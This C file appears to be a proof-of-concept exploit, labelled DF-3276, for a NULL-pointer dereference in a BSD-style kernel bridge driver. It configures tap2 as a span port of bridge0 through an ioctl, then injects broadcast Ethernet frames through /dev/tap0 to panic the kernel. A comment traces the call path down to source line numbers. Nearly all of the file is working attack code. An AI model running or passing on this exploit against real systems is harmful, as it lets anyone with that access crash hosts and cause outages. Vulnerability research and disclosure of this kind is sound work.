DF-3276 / span_panic.c
/* * DF-3276 -- bridge span port NULL dereference -> kernel panic. * * bridge_input()/bridge_output() -> bridge_span() (if_bridge.c:3258) * -> bridge_enqueue(span_ifp) (if_bridge.c:3279) * -> bridge_enqueue_handler() (if_bridge.c:4418) * bridge_handoff(dst_ifp->if_bridge, ...) <-- NULL for span ports * -> bridge_handoff() (if_bridge.c:4433) * bifp = sc->sc_ifp; <-- NULL deref * * Span ports never get if_bridge set (only member add does, * if_bridge.c:1300; bridge_ioctl_addspan never does, and * bridge_delete_span KASSERTs if_bridge == NULL, if_bridge.c:1152). * * Trigger: one ethernet frame through a bridge with a span port * configured (sc_span != 0). Any frame works: bridge_input() calls * bridge_span() for every packet (if_bridge.c:2790). */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <net/ethernet.h> #include <net/bridge/if_bridgevar.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <errno.h> static void die(const char *m) { fprintf(stderr, "[-] %s: %s\n", m, strerror(errno)); exit(1); } static void addspan(const char *bridge, const char *member) { struct ifbreq r; struct ifdrv ifd; int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) die("socket"); memset(&r, 0, sizeof(r)); strlcpy(r.ifbr_ifsname, member, IFNAMSIZ); memset(&ifd, 0, sizeof(ifd)); strlcpy(ifd.ifd_name, bridge, IFNAMSIZ); ifd.ifd_cmd = BRDGADDS; ifd.ifd_len = sizeof(r); ifd.ifd_data = &r; if (ioctl(s, SIOCSDRVSPEC, &ifd) < 0) die("BRDGADDS spanport"); close(s); } int main(void) { int fd, i; /* dst=broadcast src=02:00:de:ad:be:ef type=0x0800 + zero padding */ unsigned char frame[60]; memset(frame, 0, sizeof(frame)); frame[0] = 0xff; frame[1] = 0xff; frame[2] = 0xff; frame[3] = 0xff; frame[4] = 0xff; frame[5] = 0xff; frame[6] = 0x02; frame[7] = 0x00; frame[8] = 0xde; frame[9] = 0xad; frame[10] = 0xbe; frame[11] = 0xef; frame[12] = 0x08; frame[13] = 0x06; /* ETHERTYPE_ARP */ /* configure tap2 as span (mirror) port: tap2->if_bridge stays NULL */ addspan("bridge0", "tap2"); printf("[+] tap2 is now a span port of bridge0 (if_bridge == NULL)\n"); fd = open("/dev/tap0", O_RDWR); if (fd < 0) die("open /dev/tap0"); for (i = 0; i < 8; i++) { if (write(fd, frame, sizeof(frame)) < 0) die("tap write"); printf("[+] injected frame %d into tap0\n", i); usleep(200000); } sleep(2); printf("[-] still alive -- no panic observed\n"); return (2); } |